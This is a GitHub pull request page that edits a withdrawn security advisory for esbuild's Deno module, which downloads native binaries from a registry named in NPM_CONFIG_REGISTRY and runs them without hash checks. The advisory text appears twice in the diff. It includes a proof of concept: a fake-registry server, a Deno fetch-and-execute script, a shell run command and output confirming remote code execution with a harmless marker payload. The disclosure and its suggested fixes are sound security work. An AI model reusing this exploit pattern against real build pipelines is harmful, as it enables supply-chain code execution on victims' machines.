[GHSA-gv7w-rqvm-qjhr] Withdrawn Advisory: esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY#8057
Conversation
|
Hi there @evanw! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository. This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory |
There was a problem hiding this comment.
Pull request overview
Note
Copilot was unable to run its full agentic suite in this review.
Updates a GitHub-reviewed security advisory entry for esbuild’s Deno module by changing the advisory text and downgrading the reported severity.
Changes:
- Replaces the withdrawn-advisory summary/details with a non-withdrawn description of the vulnerability.
- Updates CVSS vector and downgrades the advisory severity from HIGH to MODERATE.
- Updates the advisory
modifiedtimestamp.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| "withdrawn": "2026-06-17T13:42:24Z", | ||
| "aliases": [], | ||
| "summary": "Withdrawn Advisory: esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY", | ||
| "details": "## Withdrawn Advisory\n\nThis advisory has been withdrawn because the affected package was incorrectly identified and the [actual affected package](https://github.com/esbuild/deno-esbuild) is not in a supported ecosystem. This link is maintained to preserve external references.\n\n## Original Description\n\n### Summary\n\nThe esbuild Deno module (`lib/deno/mod.ts`) downloads native binary executables from an npm registry and writes them to disk with executable permissions (`0o755`) **without performing any integrity verification** (e.g., SHA-256 hash check). The Node.js equivalent (`lib/npm/node-install.ts`) includes a robust `binaryIntegrityCheck()` function that verifies SHA-256 hashes against hardcoded expected values from `package.json`, but this protection was never implemented for the Deno distribution.\n\nWhen the `NPM_CONFIG_REGISTRY` environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution.\n\n### Details\n\n**Vulnerable code path** — `lib/deno/mod.ts` lines 62–82:\n\n```typescript\nasync function installFromNPM(name: string, subpath: string): Promise<string> {\n const { finalPath, finalDir } = getCachePath(name)\n try { await Deno.stat(finalPath); return finalPath } catch (e) {}\n\n const npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\" // line 70: attacker-controlled\n const url = `${npmRegistry}/${name}/-/${name.replace(\"@esbuild/\", \"\")}-${version}.tgz` // line 71: URL uses attacker base\n const buffer = await fetch(url).then(r => r.arrayBuffer()) // line 72: download\n const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath) // line 73: extract\n\n await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })\n await Deno.writeFile(finalPath, executable, { mode: 0o755 }) // line 80: write + chmod\n return finalPath // line 81: no hash check\n}\n```\n\n**Missing protection** — The Node.js equivalent at `lib/npm/node-install.ts` lines 228–234:\n\n```typescript\nfunction binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {\n const hash = crypto.createHash('sha256').update(bytes).digest('hex')\n const key = `${pkg}/${subpath}`\n const expected = packageJSON['esbuild.binaryHashes'][key]\n if (!expected) throw new Error(`Missing hash for \"${key}\"`)\n if (hash !== expected) throw new Error(...)\n}\n```\n\nThis function is called in both the `installUsingNPM()` path (line 131) and the `downloadDirectlyFromNPM()` path (line 243), but **no equivalent exists in the Deno module**. Searching the entire git history confirms `binaryIntegrityCheck`, `binaryHashes`, `sha256`, and `hash` have never appeared in `lib/deno/mod.ts`.\n\n**Execution flow after download:** The binary returned by `installFromNPM()` is passed to `spawn()` at line 291 of the same file:\n```typescript\nconst child = spawn(binPath, { args: [`--service=${version}`], ... })\n```\n\n**Attack vector:** The `NPM_CONFIG_REGISTRY` environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary.\n\n### PoC\n\n**Prerequisites:** Deno runtime, Node.js (for fake registry)\n\n**Step 1:** Create a fake npm registry that serves a malicious binary:\n\n```javascript\n// fake-registry.js\nconst http = require('http');\nconst zlib = require('zlib');\nhttp.createServer((req, res) => {\n const fakeBin = '#!/bin/sh\\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\\necho fake-esbuild-0.28.0\\n';\n // ... build tar.gz with fake binary as package/bin/esbuild ...\n res.writeHead(200, {'Content-Length': gz.length});\n res.end(gz);\n}).listen(19876, () => console.log('READY'));\n```\n\n**Step 2:** Run the PoC with `NPM_CONFIG_REGISTRY` pointing to the fake server:\n\n```typescript\n// poc.ts — mimics lib/deno/mod.ts installFromNPM code path\nconst npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\";\nconst url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;\nconst buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());\n// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...\nawait Deno.writeFile(\"/tmp/downloaded-binary\", executable, { mode: 0o755 });\n// *** NO integrity check performed ***\nconst cmd = new Deno.Command(\"/tmp/downloaded-binary\");\nawait cmd.output(); // RCE: executes attacker-controlled binary\n```\n\n**Step 3:** Run:\n```bash\nnode fake-registry.js &\nNPM_CONFIG_REGISTRY=\"http://127.0.0.1:19876\" deno run --allow-all poc.ts\ncat /tmp/deno-esbuild-rce-proof.txt # Output: PWNED\n```\n\n**Observed output in this environment:**\n```\nDownload URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz\nBinary written to: /tmp/deno-poc/downloaded-binary\nBinary content: #!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n\nExecuting downloaded binary...\nstdout: fake-esbuild-0.28.0\n\n*** RCE CONFIRMED ***\nMarker file content: PWNED\n```\n\n**Build-local verification — using the actual built `deno/mod.js`:**\n\nThe esbuild Deno module was built from source (`node scripts/esbuild.js ./esbuild --deno`) producing `deno/mod.js`. The fake registry test was then re-run using the **actual module** via `import * as esbuild from \"file:///path/to/deno/mod.js\"`, triggering the real `installFromNPM()` → `installFromNPM()` code path:\n\n```\n[TEST] esbuild Deno module loaded\n[TEST] esbuild version: 0.28.0\n\n[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***\n[TEST] Marker file content: VULN-CONFIRMED\n[TEST] The actual built deno/mod.js downloaded and executed\n[TEST] a malicious binary from the fake registry WITHOUT\n[TEST] performing any SHA-256 integrity verification.\n```\n\nThe malicious binary was cached at `~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0` with contents:\n```\n#!/bin/sh\necho \"VULN-CONFIRMED\" > /tmp/esbuild-deno-verify-rce.txt\necho \"0.28.0\"\n```\n\nBuilt-in Deno module (`deno/mod.js`) confirmed to contain `NPM_CONFIG_REGISTRY` usage (line 1900) and zero references to `binaryIntegrityCheck`, `binaryHashes`, `sha256`, or `crypto.createHash`.\n\n**Negative/control case — Node.js rejects the same fake binary:**\n```\nFake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1\nExpected hash: aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be\nHashes match: false\n=> Node.js path REJECTS the fake binary (hash mismatch)\n=> Deno path ACCEPTS it without any check\n```\n\n### Impact\n\nAn attacker who can control the `NPM_CONFIG_REGISTRY` environment variable in a Deno project using esbuild can achieve **arbitrary code execution** with the privileges of the Deno process. This is particularly relevant in:\n\n- **CI/CD pipelines** where `NPM_CONFIG_REGISTRY` is commonly set to point to internal artifact repositories\n- **Shared development environments** where environment variables may be inherited from parent processes\n- **Corporate networks** where npm registry mirrors are configured via this environment variable\n\nThe attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry.\n\n### Suggested remediation\n\n1. **Add SHA-256 integrity verification to the Deno module**, mirroring the existing `binaryIntegrityCheck()` function from `lib/npm/node-install.ts`:\n\n```typescript\n// In lib/deno/mod.ts, after extracting the binary:\nconst hashBuffer = await crypto.subtle.digest(\"SHA-256\", executable);\nconst hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');\nconst key = `${name}/${subpath}`;\nconst expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest\nif (hash !== expected) throw new Error(`Binary integrity check failed for \"${key}\"`);\n```\n\n2. **Validate the `NPM_CONFIG_REGISTRY` URL** to ensure it uses HTTPS (or at minimum warn about HTTP):\n\n```typescript\nconst npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\";\nif (npmRegistry.startsWith(\"http://\")) {\n console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);\n}\n```\n\n3. **Add `ESBUILD_BINARY_PATH` validation** in the Deno module, mirroring the `isValidBinaryPath()` check from `lib/npm/node-platform.ts`.\n\n**Regression test suggestion:** Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.", | ||
| "summary": "esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY", | ||
| "details": "### Summary\n\nThe esbuild Deno module (`lib/deno/mod.ts`) downloads native binary executables from an npm registry and writes them to disk with executable permissions (`0o755`) **without performing any integrity verification** (e.g., SHA-256 hash check). The Node.js equivalent (`lib/npm/node-install.ts`) includes a robust `binaryIntegrityCheck()` function that verifies SHA-256 hashes against hardcoded expected values from `package.json`, but this protection was never implemented for the Deno distribution.\n\nWhen the `NPM_CONFIG_REGISTRY` environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution.\n\n### Details\n\n**Vulnerable code path** — `lib/deno/mod.ts` lines 62–82:\n\n```typescript\nasync function installFromNPM(name: string, subpath: string): Promise<string> {\n const { finalPath, finalDir } = getCachePath(name)\n try { await Deno.stat(finalPath); return finalPath } catch (e) {}\n\n const npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\" // line 70: attacker-controlled\n const url = `${npmRegistry}/${name}/-/${name.replace(\"@esbuild/\", \"\")}-${version}.tgz` // line 71: URL uses attacker base\n const buffer = await fetch(url).then(r => r.arrayBuffer()) // line 72: download\n const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath) // line 73: extract\n\n await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })\n await Deno.writeFile(finalPath, executable, { mode: 0o755 }) // line 80: write + chmod\n return finalPath // line 81: no hash check\n}\n```\n\n**Missing protection** — The Node.js equivalent at `lib/npm/node-install.ts` lines 228–234:\n\n```typescript\nfunction binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {\n const hash = crypto.createHash('sha256').update(bytes).digest('hex')\n const key = `${pkg}/${subpath}`\n const expected = packageJSON['esbuild.binaryHashes'][key]\n if (!expected) throw new Error(`Missing hash for \"${key}\"`)\n if (hash !== expected) throw new Error(...)\n}\n```\n\nThis function is called in both the `installUsingNPM()` path (line 131) and the `downloadDirectlyFromNPM()` path (line 243), but **no equivalent exists in the Deno module**. Searching the entire git history confirms `binaryIntegrityCheck`, `binaryHashes`, `sha256`, and `hash` have never appeared in `lib/deno/mod.ts`.\n\n**Execution flow after download:** The binary returned by `installFromNPM()` is passed to `spawn()` at line 291 of the same file:\n```typescript\nconst child = spawn(binPath, { args: [`--service=${version}`], ... })\n```\n\n**Attack vector:** The `NPM_CONFIG_REGISTRY` environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary.\n\n### PoC\n\n**Prerequisites:** Deno runtime, Node.js (for fake registry)\n\n**Step 1:** Create a fake npm registry that serves a malicious binary:\n\n```javascript\n// fake-registry.js\nconst http = require('http');\nconst zlib = require('zlib');\nhttp.createServer((req, res) => {\n const fakeBin = '#!/bin/sh\\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\\necho fake-esbuild-0.28.0\\n';\n // ... build tar.gz with fake binary as package/bin/esbuild ...\n res.writeHead(200, {'Content-Length': gz.length});\n res.end(gz);\n}).listen(19876, () => console.log('READY'));\n```\n\n**Step 2:** Run the PoC with `NPM_CONFIG_REGISTRY` pointing to the fake server:\n\n```typescript\n// poc.ts — mimics lib/deno/mod.ts installFromNPM code path\nconst npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\";\nconst url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;\nconst buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());\n// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...\nawait Deno.writeFile(\"/tmp/downloaded-binary\", executable, { mode: 0o755 });\n// *** NO integrity check performed ***\nconst cmd = new Deno.Command(\"/tmp/downloaded-binary\");\nawait cmd.output(); // RCE: executes attacker-controlled binary\n```\n\n**Step 3:** Run:\n```bash\nnode fake-registry.js &\nNPM_CONFIG_REGISTRY=\"http://127.0.0.1:19876\" deno run --allow-all poc.ts\ncat /tmp/deno-esbuild-rce-proof.txt # Output: PWNED\n```\n\n**Observed output in this environment:**\n```\nDownload URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz\nBinary written to: /tmp/deno-poc/downloaded-binary\nBinary content: #!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n\nExecuting downloaded binary...\nstdout: fake-esbuild-0.28.0\n\n*** RCE CONFIRMED ***\nMarker file content: PWNED\n```\n\n**Build-local verification — using the actual built `deno/mod.js`:**\n\nThe esbuild Deno module was built from source (`node scripts/esbuild.js ./esbuild --deno`) producing `deno/mod.js`. The fake registry test was then re-run using the **actual module** via `import * as esbuild from \"file:///path/to/deno/mod.js\"`, triggering the real `installFromNPM()` → `installFromNPM()` code path:\n\n```\n[TEST] esbuild Deno module loaded\n[TEST] esbuild version: 0.28.0\n\n[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***\n[TEST] Marker file content: VULN-CONFIRMED\n[TEST] The actual built deno/mod.js downloaded and executed\n[TEST] a malicious binary from the fake registry WITHOUT\n[TEST] performing any SHA-256 integrity verification.\n```\n\nThe malicious binary was cached at `~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0` with contents:\n```\n#!/bin/sh\necho \"VULN-CONFIRMED\" > /tmp/esbuild-deno-verify-rce.txt\necho \"0.28.0\"\n```\n\nBuilt-in Deno module (`deno/mod.js`) confirmed to contain `NPM_CONFIG_REGISTRY` usage (line 1900) and zero references to `binaryIntegrityCheck`, `binaryHashes`, `sha256`, or `crypto.createHash`.\n\n**Negative/control case — Node.js rejects the same fake binary:**\n```\nFake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1\nExpected hash: aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be\nHashes match: false\n=> Node.js path REJECTS the fake binary (hash mismatch)\n=> Deno path ACCEPTS it without any check\n```\n\n### Impact\n\nAn attacker who can control the `NPM_CONFIG_REGISTRY` environment variable in a Deno project using esbuild can achieve **arbitrary code execution** with the privileges of the Deno process. This is particularly relevant in:\n\n- **CI/CD pipelines** where `NPM_CONFIG_REGISTRY` is commonly set to point to internal artifact repositories\n- **Shared development environments** where environment variables may be inherited from parent processes\n- **Corporate networks** where npm registry mirrors are configured via this environment variable\n\nThe attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry.\n\n### Suggested remediation\n\n1. **Add SHA-256 integrity verification to the Deno module**, mirroring the existing `binaryIntegrityCheck()` function from `lib/npm/node-install.ts`:\n\n```typescript\n// In lib/deno/mod.ts, after extracting the binary:\nconst hashBuffer = await crypto.subtle.digest(\"SHA-256\", executable);\nconst hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');\nconst key = `${name}/${subpath}`;\nconst expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest\nif (hash !== expected) throw new Error(`Binary integrity check failed for \"${key}\"`);\n```\n\n2. **Validate the `NPM_CONFIG_REGISTRY` URL** to ensure it uses HTTPS (or at minimum warn about HTTP):\n\n```typescript\nconst npmRegistry = Deno.env.get(\"NPM_CONFIG_REGISTRY\") || \"https://registry.npmjs.org\";\nif (npmRegistry.startsWith(\"http://\")) {\n console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);\n}\n```\n\n3. **Add `ESBUILD_BINARY_PATH` validation** in the Deno module, mirroring the `isValidBinaryPath()` check from `lib/npm/node-platform.ts`.\n\n**Regression test suggestion:** Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.", |
|
advistory was withdrawn |
Updates
Comments
Exploiting this requires setting a malicious NPM_CONFIG_REGISTRY env variable, as such the previous severity is too high